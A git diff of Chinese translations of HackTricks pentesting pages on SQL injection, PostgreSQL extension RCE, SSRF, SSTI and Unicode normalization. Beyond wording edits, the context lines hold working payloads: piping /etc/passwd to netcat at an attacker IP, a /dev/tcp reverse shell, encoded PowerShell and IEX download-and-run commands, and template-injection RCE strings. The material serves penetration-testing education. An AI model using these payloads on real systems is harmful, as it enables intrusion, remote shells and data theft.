- 因此，可以使用 `admin_generic@example.com` 尝试身份验证，密码对应于 bcrypt 哈希（"bcrypt_hash_of_newpassword" 代表新密码的 bcrypt 哈希，应替换为所需密码的实际哈希）。
- 因此，可以尝试使用 `admin_generic@example.com` 进行身份验证，密码对应于 bcrypt 哈希（"bcrypt_hash_of_newpassword" 代表新密码的 bcrypt 哈希，应替换为所需密码的实际哈希）。
### 提取信息
@ -393,7 +393,7 @@ Example:
### 无空格绕过
无空格 (%20) - 使用空白替代品绕过
无空格 (%20) - 使用空白替代品进行绕过
```sql
?id=1%09and%091=1%09--
?id=1%0Dand%0D1=1%0D--
@ -461,7 +461,9 @@ WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())
### WAF 绕过建议工具
{% embed url="https://github.com/m4ll0k/Atlas" %}
{{#ref}}
https://github.com/m4ll0k/Atlas
{{#endref}}
## 其他指南
@ -470,7 +472,9 @@ WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())
## 暴力破解检测列表
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/sqli.txt" %}
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/sqli.txt
{{#endref}}
​
{{#include ../../banners/hacktricks-training.md}}

24
src/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md
View File

@ -14,7 +14,7 @@ PostgreSQL 的核心特性是可扩展性，允许它无缝集成扩展，就像
**有关更多信息，请查看: [https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/](https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/)**
从 PostgreSQL 8.1 及更早版本执行系统命令的过程已经被清楚地记录，并且相对简单。可以使用这个: [Metasploit module](https://www.rapid7.com/db/modules/exploit/linux/postgres/postgres_payload).
从 PostgreSQL 8.1 及更早版本执行系统命令的过程已经被清楚地记录，并且非常简单。可以使用这个: [Metasploit module](https://www.rapid7.com/db/modules/exploit/linux/postgres/postgres_payload).
```sql
CREATE OR REPLACE FUNCTION system (cstring) RETURNS integer AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
SELECT system('cat /etc/passwd | nc <attacker IP> <attacker port>');
@ -75,7 +75,7 @@ HINT: Extension libraries are required to use the PG_MODULE_MAGIC macro.
```
此错误在[PostgreSQL文档](https://www.postgresql.org/docs/current/static/xfunc-c.html)中有解释：
> 为了确保动态加载的对象文件不会加载到不兼容的服务器中，PostgreSQL检查文件是否包含具有适当内容的“魔法块”。这使得服务器能够检测明显的不兼容性，例如为不同主要版本的PostgreSQL编译的代码。从PostgreSQL 8.2开始，魔法块是必需的。要包含魔法块，请在包含头文件fmgr.h之后，在模块源文件中的一个（且仅一个）位置写入：
> 为了确保动态加载的对象文件不会加载到不兼容的服务器中，PostgreSQL检查文件是否包含具有适当内容的“魔法块”。这使得服务器能够检测明显的不兼容性，例如为不同主要版本的PostgreSQL编译的代码。从PostgreSQL 8.2开始，魔法块是必需的。要包含魔法块，请在包含头文件fmgr.h之后，在模块源文件中的一个（且仅一个）位置写入以下内容：
>
> `#ifdef PG_MODULE_MAGIC`\
> `PG_MODULE_MAGIC;`\
@ -113,7 +113,7 @@ char* command = PG_GETARG_CSTRING(0);
PG_RETURN_INT32(system(command));
}
```
然后上传编译好的库并使用以下命令执行：
然后上传编译好的库并执行命令：
```bash
CREATE FUNCTION sys(cstring) RETURNS int AS '/tmp/pg_exec.so', 'pg_exec' LANGUAGE C STRICT;
SELECT sys('bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"');
@ -121,7 +121,9 @@ SELECT sys('bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"');
```
您可以找到这个 **预编译的库** 适用于多个不同的 PostgreSQL 版本，甚至可以 **自动化这个过程**（如果您有 PostgreSQL 访问权限）：
{% embed url="https://github.com/Dionach/pgexec" %}
{{#ref}}
https://github.com/Dionach/pgexec
{{#endref}}
### Windows 中的 RCE
@ -162,7 +164,7 @@ ShellExecute(NULL, "open", GET_STR(PG_GETARG_TEXT_P(0)), NULL, NULL, 1);
PG_RETURN_VOID();
}
```
您可以在此 zip 中找到编译的 DLL：
您可以在此 zip 文件中找到编译的 DLL：
{% file src="../../../images/pgsql_exec.zip" %}
@ -260,9 +262,9 @@ CREATE OR REPLACE FUNCTION dummy_function(int) RETURNS int AS '\\10.10.10.10\sha
在**最新版本**的PostgreSQL中，施加了限制，`superuser`被**禁止**从特定目录以外的地方**加载**共享库文件，例如在Windows上的`C:\Program Files\PostgreSQL\11\lib`或在\*nix系统上的`/var/lib/postgresql/11/lib`。这些目录对NETWORK_SERVICE或postgres账户的写操作是**安全的**。
尽管有这些限制，经过身份验证的数据库`superuser`仍然可以使用“大型对象”**写入二进制文件**到文件系统中。此功能扩展到在`C:\Program Files\PostgreSQL\11\data`目录中写入，这对于更新或创建表等数据库操作至关重要。
尽管有这些限制，经过身份验证的数据库`superuser`仍然可以使用“大型对象”**写入二进制文件**到文件系统中。此能力扩展到在`C:\Program Files\PostgreSQL\11\data`目录中写入，这对于更新或创建表等数据库操作至关重要。
一个显著的漏洞来自于`CREATE FUNCTION`命令，它**允许目录遍历**到数据目录。因此，经过身份验证的攻击者可以**利用这种遍历**将共享库文件写入数据目录，然后**加载它**。这个漏洞使攻击者能够执行任意代码，实现系统上的本地代码执行。
一个显著的漏洞来自于`CREATE FUNCTION`命令，它**允许目录遍历**到数据目录。因此，经过身份验证的攻击者可以**利用这种遍历**将共享库文件写入数据目录，然后**加载它**。此漏洞使攻击者能够执行任意代码，实现系统上的本地代码执行。
#### 攻击流程
@ -279,9 +281,9 @@ select connect_back('192.168.100.54', 1234);
```
_注意，您不需要附加 `.dll` 扩展名，因为创建函数会自动添加它。_
有关更多信息 **请阅读**[ **原始出版物在这里**](https://srcincite.io/blog/2020/06/26/sql-injection-double-uppercut-how-to-achieve-remote-code-execution-against-postgresql.html)**。**\
在该出版物中 **这是** [**用于生成 postgres 扩展的代码**](https://github.com/sourceincite/tools/blob/master/pgpwn.c) (_要了解如何编译 postgres 扩展，请阅读之前的任何版本_).\
在同一页面上提供了 **自动化** 此技术的 **利用**：
有关更多信息，请**阅读**[**原始出版物**](https://srcincite.io/blog/2020/06/26/sql-injection-double-uppercut-how-to-achieve-remote-code-execution-against-postgresql.html)**。**\
在该出版物中，**这是**[**用于生成 postgres 扩展的代码**](https://github.com/sourceincite/tools/blob/master/pgpwn.c) (_要了解如何编译 postgres 扩展，请阅读之前的任何版本_).\
在同一页面上，**提供了自动化**此技术的**漏洞**：
```python
#!/usr/bin/env python3
import sys
@ -319,7 +321,7 @@ print("(+) for a db cleanup only, run the following sql:")
print(" select lo_unlink(l.oid) from pg_largeobject_metadata l;")
print(" drop function connect_back(text, integer);")
```
## 参考
## 参考文献
- [https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/](https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/)
- [https://www.exploit-db.com/papers/13084](https://www.exploit-db.com/papers/13084)

30
src/pentesting-web/ssrf-server-side-request-forgery/README.md
View File

@ -30,7 +30,7 @@ url-format-bypass.md
### 通过开放重定向绕过
如果服务器得到了正确的保护，您可以 **通过利用网页中的开放重定向来绕过所有限制**。因为网页将允许 **SSRF 到同一域**，并可能会 **跟随重定向**，您可以利用 **开放重定向使服务器访问内部任何资源**。\
如果服务器得到了正确的保护，您可以 **通过利用网页中的开放重定向来绕过所有限制**。因为网页将允许 **SSRF 到同一域**，并且可能会 **跟随重定向**，您可以利用 **开放重定向使服务器访问内部任何资源**。\
在这里阅读更多信息: [https://portswigger.net/web-security/ssrf](https://portswigger.net/web-security/ssrf)
## 协议
@ -42,9 +42,9 @@ url-format-bypass.md
- **SFTP://**
- 被识别为通过安全外壳进行安全文件传输的协议，提供了一个示例，展示了如何利用 PHP 脚本连接到恶意 SFTP 服务器: `url=sftp://generic.com:11111/`
- **TFTP://**
- 提到简单文件传输协议，操作在 UDP 上，给出了一个设计用于向 TFTP 服务器发送请求的 PHP 脚本示例。向 'generic.com' 的端口 '12346' 发送 TFTP 请求以获取文件 'TESTUDPPACKET': `ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET`
- 提到简单文件传输协议，操作在 UDP 上，给出了一个设计用于向 TFTP 服务器发送请求的 PHP 脚本示例。向 'generic.com' 的端口 '12346' 发出 TFTP 请求以获取文件 'TESTUDPPACKET': `ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET`
- **LDAP://**
- 本节涵盖轻量级目录访问协议，强调其在 IP 网络上管理和访问分布式目录信息服务的用途。通过 ssrf.php 与本地主机上的 LDAP 服务器交互: `'%0astats%0aquit' via ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.`
- 本段涵盖轻量级目录访问协议，强调其在 IP 网络上管理和访问分布式目录信息服务的用途。在本地主机上与 LDAP 服务器交互: `'%0astats%0aquit' via ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.`
- **SMTP**
- 描述了一种利用 SSRF 漏洞与本地主机上的 SMTP 服务交互的方法，包括揭示内部域名的步骤以及基于该信息的进一步调查行动。
```
@ -55,7 +55,7 @@ From https://twitter.com/har1sec/status/1182255952055164929
4. connect
```
- **Curl URL globbing - WAF 绕过**
- 如果 SSRF 是通过 **curl** 执行的，curl 有一个叫做 [**URL globbing**](https://everything.curl.dev/cmdline/globbing) 的功能，这可能对绕过 WAF 有用。例如，在这个 [**writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-easylfi) 中，你可以找到这个关于 **通过 `file` 协议的路径遍历** 的例子：
- 如果 SSRF 是通过 **curl** 执行的，curl 有一个叫做 [**URL globbing**](https://everything.curl.dev/cmdline/globbing) 的功能，这可能对绕过 WAF 有用。例如，在这个 [**writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-easylfi) 中，你可以找到这个关于 **通过 `file` 协议进行路径遍历** 的示例：
```
file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}
```
@ -65,7 +65,7 @@ file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}
### Gopher://
使用此协议，您可以指定服务器要**发送的IP、端口和字节**。然后，您基本上可以利用SSRF来**与任何TCP服务器通信**（但您需要先知道如何与该服务对话）。\
幸运的是，您可以使用[Gopherus](https://github.com/tarunkant/Gopherus)为多个服务创建有效载荷。此外，[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)可以用于为_Java RMI_服务创建_gopher_有效载荷。
幸运的是，您可以使用[Gopherus](https://github.com/tarunkant/Gopherus)为多个服务创建有效载荷。此外，[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)可用于为_Java RMI_服务创建_gopher_有效载荷。
**Gopher smtp**
```
@ -110,7 +110,7 @@ curl 'gopher://0.0.0.0:27017/_%a0%00%00%00%00%00%00%00%00%00%00%00%dd%0
## SSRF通过证书中的SNI数据
一个可能通过简单设置启用与任何后端连接的错误配置示例如下所示：
一个可能通过简单设置启用与任何后端连接的错误配置示例如下所示，使用Nginx配置：
```
stream {
server {
@ -121,7 +121,7 @@ ssl_preread on;
}
}
```
在此配置中，服务器名称指示（SNI）字段中的值被直接用作后端地址。此设置暴露了服务器端请求伪造（SSRF）漏洞，可以通过在SNI字段中仅指定所需的IP地址或域名来利用。以下是一个利用示例，使用`openssl`命令强制连接到任意后端，例如`internal.host.com`：
在此配置中，服务器名称指示（SNI）字段中的值被直接用作后端地址。此设置暴露了服务器端请求伪造（SSRF）的漏洞，攻击者只需在 SNI 字段中指定所需的 IP 地址或域名即可利用该漏洞。以下是一个利用 `openssl` 命令强制连接到任意后端（例如 `internal.host.com`）的示例：
```bash
openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf
```
@ -137,7 +137,7 @@ openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf
## 从 SSRF 到 DoS
创建多个会话并尝试利用会话中的 SSRF 下载大型文件。
创建多个会话并尝试通过会话利用 SSRF 下载大文件。
## SSRF PHP 函数
@ -206,7 +206,7 @@ app.run(threaded=False)
```
</details>
Flask 允许使用 **`@`** 作为初始字符，这使得 **初始主机名成为用户名** 并注入一个新的。攻击请求：
Flask 允许使用 **`@`** 作为初始字符，这使得 **初始主机名成为用户名** 并注入一个新的主机名。攻击请求：
```http
GET @evildomain.com/ HTTP/1.1
Host: target.com
@ -218,7 +218,7 @@ Connection: close
<figure><img src="../../images/image (1201).png" alt=""><figcaption></figcaption></figure>
发现请求的**路径**可以以字符**`;`**开头，这允许使用**`@`**并注入一个新主机以进行访问。攻击请求：
发现请求的**路径**可以以字符**`;`**开头，这允许使用**`@`**并注入一个新主机进行访问。攻击请求：
```http
GET ;@evil.com/url HTTP/1.1
Host: target.com
@ -261,7 +261,7 @@ Connection: close
### 自动化 DNS Rebidding
[**`Singularity of Origin`**](https://github.com/nccgroup/singularity) 是一个执行 [DNS rebinding](https://en.wikipedia.org/wiki/DNS_rebinding) 攻击的工具。它包含了将攻击服务器 DNS 名称的 IP 地址重新绑定到目标机器 IP 地址的必要组件，并向目标机器提供攻击有效载荷以利用易受攻击的软件。
[**`Singularity of Origin`**](https://github.com/nccgroup/singularity) 是一个执行 [DNS rebinding](https://en.wikipedia.org/wiki/DNS_rebinding) 攻击的工具。它包含了将攻击服务器 DNS 名称的 IP 地址重新绑定到目标机器的 IP 地址所需的组件，并向目标机器提供攻击有效载荷以利用易受攻击的软件。
还可以查看 **公共运行服务器** [**http://rebind.it/singularity.html**](http://rebind.it/singularity.html)
@ -314,7 +314,7 @@ ssrf-vulnerable-platforms.md
### [**SSRFMap**](https://github.com/swisskyrepo/SSRFmap)
检测和利用 SSRF 漏洞的工具
用于检测和利用 SSRF 漏洞的工具
### [Gopherus](https://github.com/tarunkant/Gopherus)
@ -341,9 +341,11 @@ SSRF Proxy 是一个多线程 HTTP 代理服务器，旨在通过易受服务器
### 练习
{% embed url="https://github.com/incredibleindishell/SSRF_Vulnerable_Lab" %}
{{#ref}}
https://github.com/incredibleindishell/SSRF_Vulnerable_Lab
{{#endref}}
## 参考
## 参考文献
- [https://medium.com/@pravinponnusamy/ssrf-payloads-f09b2a86a8b4](https://medium.com/@pravinponnusamy/ssrf-payloads-f09b2a86a8b4)
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery)

14
src/pentesting-web/ssrf-server-side-request-forgery/url-format-bypass.md
View File

@ -77,7 +77,7 @@ spoofed.burpcollaborator.net = 127.0.0.1
```
![](<../../images/image (776).png>)
**Burp 扩展** [**Burp-Encode-IP**](https://github.com/e1abrador/Burp-Encode-IP) 实现了 IP 格式绕过。
该 **Burp 扩展** [**Burp-Encode-IP**](https://github.com/e1abrador/Burp-Encode-IP) 实现了 IP 格式绕过。
### 域解析器
```bash
@ -145,7 +145,7 @@ next={domain}&next=attacker.com
```
### 路径和扩展绕过
如果要求 URL 必须以路径或扩展名结尾，或者必须包含路径，您可以尝试以下绕过方法：
如果您需要 URL 以路径或扩展名结尾，或必须包含路径，您可以尝试以下绕过方法：
```
https://metadata/vulerable/path#/expected/path
https://metadata/vulerable/path#.extension
@ -157,14 +157,16 @@ https://metadata/expected/path/..%2f..%2f/vulnerable/path
### Automatic Custom Wordlists
查看来自 portswigger 的 [**URL validation bypass cheat sheet** webapp](https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet)，您可以在其中输入允许的主机和攻击者的主机，它将为您生成要尝试的 URL 列表。它还考虑您是否可以在参数、Host 头或 CORS 头中使用 URL。
查看 portswigger 的 [**URL validation bypass cheat sheet** webapp](https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet)，您可以在其中输入允许的主机和攻击者的主机，它将为您生成要尝试的 URL 列表。它还考虑您是否可以在参数、Host 头或 CORS 头中使用该 URL。
{% embed url="https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet" %}
{{#ref}}
https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet
{{#endref}}
### Bypass via redirect
服务器可能在 **过滤原始请求** 的 SSRF **但不** 过滤对该请求的可能 **重定向** 响应。\
例如，一个通过 `url=https://www.google.com/` 漏洞的 SSRF 服务器可能在 **过滤 url 参数**。但是，如果您使用 [python 服务器以 302 响应](https://pastebin.com/raw/ywAUhFrv) 到您想要重定向的地方，您可能能够 **访问被过滤的 IP 地址**，如 127.0.0.1，甚至被过滤的 **协议**，如 gopher。\
例如，易受 SSRF 攻击的服务器通过：`url=https://www.google.com/` 可能在 **过滤 url 参数**。但是，如果您使用 [python 服务器以 302 响应](https://pastebin.com/raw/ywAUhFrv) 到您想要重定向的地方，您可能能够 **访问被过滤的 IP 地址**，如 127.0.0.1，甚至被过滤的 **协议**，如 gopher。\
[查看此报告。](https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530)
```python
#!/usr/bin/env python3
@ -196,7 +198,7 @@ _反斜杠技巧_ 利用 [WHATWG URL Standard](https://url.spec.whatwg.org/#url-
### 左方括号
用户信息段中的“左方括号”字符 `[` 可以导致 Spring 的 UriComponentsBuilder 返回一个与浏览器不同的主机名值：[https://example.com\[@attacker.com](https://portswigger.net/url-cheat-sheet#id=1da2f627d702248b9e61cc23912d2c729e52f878)
用户信息段中的“左方括号”字符 `[` 可能导致 Spring 的 UriComponentsBuilder 返回与浏览器不同的主机名值：[https://example.com\[@attacker.com](https://portswigger.net/url-cheat-sheet#id=1da2f627d702248b9e61cc23912d2c729e52f878)
### 其他混淆

40
src/pentesting-web/ssti-server-side-template-injection/README.md
View File

@ -16,7 +16,7 @@ output = template.render(name=request.args.get('name'))
```
http://vulnerable-website.com/?name={{bad-stuff-here}}
```
有效载荷 `{{bad-stuff-here}}` 被注入到 `name` 参数中。此有效载荷可以包含 Jinja 模板指令，使攻击者能够执行未经授权的代码或操纵模板引擎，从而可能控制服务器。
有效载荷 `{{bad-stuff-here}}` 被注入到 `name` 参数中。该有效载荷可以包含 Jinja 模板指令，使攻击者能够执行未经授权的代码或操纵模板引擎，从而可能控制服务器。
为了防止服务器端模板注入漏洞，开发人员应确保在将用户输入插入模板之前，正确地对其进行清理和验证。实施输入验证和使用上下文感知的转义技术可以帮助减轻此漏洞的风险。
@ -25,7 +25,7 @@ http://vulnerable-website.com/?name={{bad-stuff-here}}
要检测服务器端模板注入 (SSTI)，最初，**模糊测试模板** 是一种简单的方法。这涉及将一系列特殊字符 (**`${{<%[%'"}}%\`**) 注入模板，并分析服务器对常规数据与此特殊有效载荷的响应差异。漏洞指示包括：
- 抛出的错误，揭示漏洞并可能暴露模板引擎。
- 反射中缺少有效载荷或部分缺失，暗示服务器以不同于常规数据的方式处理它。
- 反射中缺少有效载荷，或部分缺失，暗示服务器以不同于常规数据的方式处理它。
- **明文上下文**：通过检查服务器是否评估模板表达式（例如 `{{7*7}}`，`${7*7}`）来区分 XSS。
- **代码上下文**：通过更改输入参数确认漏洞。例如，改变 `http://vulnerable-website.com/?greeting=data.username` 中的 `greeting`，以查看服务器的输出是动态的还是固定的，例如 `greeting=data.username}}hello` 返回用户名。
@ -110,7 +110,7 @@ ${"freemarker.template.utility.Execute"?new()("id")}
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}
```
**Freemarker - 沙箱绕过**
**Freemarker - 沙盒绕过**
⚠️ 仅适用于 2.3.30 版本以下的 Freemarker
```java
@ -169,11 +169,11 @@ ${T(java.lang.Runtime).getRuntime().exec('calc')}
${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}
```
Thymeleaf 要求这些表达式放置在特定属性中。然而，_表达式内联_ 对其他模板位置是支持的，使用语法如 `[[...]]` 或 `[(...)]`。因此，一个简单的 SSTI 测试有效载荷可能看起来像 `[[${7*7}]]`。
Thymeleaf 要求这些表达式放置在特定属性中。然而，_表达式内联_ 对于其他模板位置是支持的，使用语法如 `[[...]]` 或 `[(...)]`。因此，一个简单的 SSTI 测试有效载荷可能看起来像 `[[${7*7}]]`。
然而，这个有效载荷成功的可能性通常较低。Thymeleaf 的默认配置不支持动态模板生成；模板必须是预定义的。开发者需要实现自己的 `TemplateResolver` 以动态从字符串创建模板，这并不常见。
然而，这个有效载荷成功的可能性通常较低。Thymeleaf 的默认配置不支持动态模板生成；模板必须是预定义的。开发人员需要实现自己的 `TemplateResolver` 以动态从字符串创建模板，这并不常见。
Thymeleaf 还提供 _表达式预处理_，其中双下划线 (`__...__`) 内的表达式会被预处理。这个特性可以在构建表达式时利用，如 Thymeleaf 文档中所示：
Thymeleaf 还提供 _表达式预处理_，其中双下划线 (`__...__`) 内的表达式会被预处理。这个功能可以在构建表达式时利用，如 Thymeleaf 文档中所示：
```java
#{selection.__${sel.code}__}
```
@ -203,7 +203,7 @@ el-expression-language.md
```
**绕过过滤器**
可以使用多个变量表达式，如果 `${...}` 不起作用，请尝试 `#{...}`、`*{...}`、`@{...}` 或 `~{...}`。
可以使用多个变量表达式，如果 `${...}` 无法工作，请尝试 `#{...}`、`*{...}`、`@{...}` 或 `~{...}`。
- 读取 `/etc/passwd`
```java
@ -376,7 +376,7 @@ Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstanc
- **JavaServer Faces (JSF)**：使用 EL 将 JSF 页面中的组件绑定到相应的后端数据和操作。
- **JavaServer Pages (JSP)**：EL 在 JSP 中用于访问和操作 JSP 页面中的数据，使得将页面元素连接到应用数据变得更容易。
- **Java EE 的上下文和依赖注入 (CDI)**：EL 与 CDI 集成，允许 web 层与托管 bean 之间的无缝交互，确保更连贯的应用结构。
- **Java EE 的上下文和依赖注入 (CDI)**：EL 与 CDI 集成，允许 web 层与托管 bean 之间无缝交互，确保更连贯的应用结构。
查看以下页面以了解更多关于 **EL 解释器的利用**：
@ -417,8 +417,6 @@ this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 1
- 更多信息请访问 [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)
##
### Smarty (PHP)
@ -668,12 +666,12 @@ URLencoded:
### JsRender (NodeJS)
| **模板** | **描述** |
| -------- | ---------------------------------- |
| | 评估并渲染输出 |
| | 评估并渲染HTML编码输出 |
| | 注释 |
| 和 | 允许代码（默认禁用） |
| **模板** | **描述** |
| -------- | ------------------------------------- |
| | 评估并渲染输出 |
| | 评估并渲染HTML编码输出 |
| | 注释 |
| 和 | 允许代码（默认禁用） |
- \= 49
@ -910,7 +908,7 @@ ${x}
- `@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");`
- `@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");`
.NET `System.Diagnostics.Process.Start` 方法可用于在服务器上启动任何进程，从而创建 webshell。您可以在 [https://github.com/cnotin/RazorVulnerableApp](https://github.com/cnotin/RazorVulnerableApp) 找到一个易受攻击的 webapp 示例。
.NET `System.Diagnostics.Process.Start` 方法可以用来在服务器上启动任何进程，从而创建 webshell。你可以在 [https://github.com/cnotin/RazorVulnerableApp](https://github.com/cnotin/RazorVulnerableApp) 找到一个易受攻击的 webapp 示例。
**更多信息**
@ -922,7 +920,7 @@ ${x}
- `<%= 7*7 %>` = 49
- `<%= "foo" %>` = foo
- `<%= foo %>` = 无
- `<%= response.write(date()) %>` = \<Date>
- `<%= response.write(date()) %>` = \<日期>
```xml
<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>
```
@ -945,7 +943,7 @@ ${x}
在 Go 的模板引擎中，可以通过特定的有效载荷确认其使用：
- `{{ . }}`：揭示数据结构输入。例如，如果传递了一个具有 `Password` 属性的对象，`{{ .Password }}` 可能会暴露它。
- `{{printf "%s" "ssti" }}`：预计显示字符串 "ssti"。
- `{{printf "%s" "ssti" }}`：预计会显示字符串 "ssti"。
- `{{html "ssti"}}`，`{{js "ssti"}}`：这些有效载荷应返回 "ssti"，而不附加 "html" 或 "js"。可以在 Go 文档中进一步探索指令 [here](https://golang.org/pkg/text/template)。
<figure><img src="../../images/image (8).png" alt="" width="375"><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rWpWndkQ7R6FycrgZm4h2A.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rWpWndkQ7R6FycrgZm4h2A.jpeg</a></p></figcaption></figure>
@ -996,7 +994,9 @@ return string(out)
## 暴力破解检测列表
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt
{{#endref}}
## 实践与参考

22
src/pentesting-web/unicode-injection/unicode-normalization.md
View File

@ -11,13 +11,13 @@ Unicode 规范化是一个确保字符的不同二进制表示标准化为相同
1. **规范等价性**：如果字符在打印或显示时具有相同的外观和含义，则认为它们是规范等价的。
2. **兼容等价性**：一种较弱的等价形式，其中字符可能表示相同的抽象字符，但可以以不同的方式显示。
有 **四种 Unicode 规范化算法**：NFC、NFD、NFKC 和 NFKD。每种算法以不同的方式采用规范和兼容性规范化技术。要深入了解这些技术，可以在 [Unicode.org](https://unicode.org/) 上进行探索。
有 **四种 Unicode 规范化算法**：NFC、NFD、NFKC 和 NFKD。每种算法以不同的方式采用规范和兼容性规范化技术。要深入了解，可以在 [Unicode.org](https://unicode.org/) 上探索这些技术。
### 关于 Unicode 编码的关键点
理解 Unicode 编码至关重要，特别是在处理不同系统或语言之间的互操作性问题时。以下是主要要点：
- **代码点和字符**：在 Unicode 中，每个字符或符号都被分配一个称为“代码点”的数值。
- **代码点和字符**：在 Unicode 中，每个字符或符号被分配一个称为“代码点”的数值。
- **字节表示**：代码点（或字符）在内存中由一个或多个字节表示。例如，LATIN-1 字符（在英语国家常见）使用一个字节表示。然而，字符集较大的语言需要更多字节进行表示。
- **编码**：这个术语指的是字符如何转换为一系列字节。UTF-8 是一种流行的编码标准，其中 ASCII 字符使用一个字节表示，其他字符最多使用四个字节。
- **处理数据**：处理数据的系统必须了解所使用的编码，以正确地将字节流转换为字符。
@ -41,9 +41,9 @@ unicodedata.normalize("NFKD","chloe\u0301") == unicodedata.normalize("NFKD", "ch
### **SQL 注入过滤器绕过**
想象一个网页，它使用字符 `'` 来创建带有用户输入的 SQL 查询。这个网页作为安全措施，**删除** 用户输入中所有出现的字符 **`'`**，但 **在删除之后** 和 **创建查询之前**，它 **使用 Unicode 规范化** 用户的输入。
想象一个网页，它使用字符 `'` 来创建带有用户输入的 SQL 查询。这个网页作为安全措施，**删除** 用户输入中所有出现的字符 **`'`**，但 **在删除之后** 和 **在创建** 查询之前，它 **使用 Unicode 规范化** 用户的输入。
然后，一个恶意用户可以插入一个不同的 Unicode 字符，等同于 `' (0x27)`，如 `%ef%bc%87`，当输入被规范化时，会创建一个单引号，从而出现 **SQL 注入漏洞**：
然后，一个恶意用户可以插入一个不同的 Unicode 字符，等效于 `' (0x27)`，如 `%ef%bc%87`，当输入被规范化时，会创建一个单引号，从而出现 **SQL 注入漏洞**：
![https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/](<../../images/image (702).png>)
@ -54,9 +54,9 @@ unicodedata.normalize("NFKD","chloe\u0301") == unicodedata.normalize("NFKD", "ch
- `1` -- %c2%b9
- `=` -- %e2%81%bc
- `/` -- %ef%bc%8f
- `-` -- %ef%b9%a3
- `#` -- %ef%b9%9f
- `*` -- %ef%b9%a1
- `-`-- %ef%b9%a3
- `#`-- %ef%b9%9f
- `*`-- %ef%b9%a1
- `'` -- %ef%bc%87
- `"` -- %ef%bc%82
- `|` -- %ef%bd%9c
@ -75,11 +75,13 @@ unicodedata.normalize("NFKD","chloe\u0301") == unicodedata.normalize("NFKD", "ch
```
#### sqlmap 模板
{% embed url="https://github.com/carlospolop/sqlmap_to_unicode_template" %}
{{#ref}}
https://github.com/carlospolop/sqlmap_to_unicode_template
{{#endref}}
### XSS（跨站脚本攻击）
您可以使用以下字符之一来欺骗 webapp 并利用 XSS：
您可以使用以下字符之一来欺骗 web 应用程序并利用 XSS：
![https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/](<../../images/image (312) (2).png>)
@ -89,7 +91,7 @@ unicodedata.normalize("NFKD","chloe\u0301") == unicodedata.normalize("NFKD", "ch
### 模糊测试正则表达式
当后端 **检查用户输入的正则表达式** 时，可能会出现 **输入** 被 **规范化** 以适应 **正则表达式**，但 **未** 被 **用于** 的情况。例如，在开放重定向或 SSRF 中，正则表达式可能会 **规范化发送的 URL**，但随后 **按原样访问**。
当后端 **使用正则表达式检查用户输入** 时，**输入** 可能会为 **正则表达式** 进行 **规范化**，但 **不** 会为其 **使用** 的地方进行 **规范化**。例如，在开放重定向或 SSRF 中，正则表达式可能会 **规范化发送的 URL**，但随后 **按原样访问**。
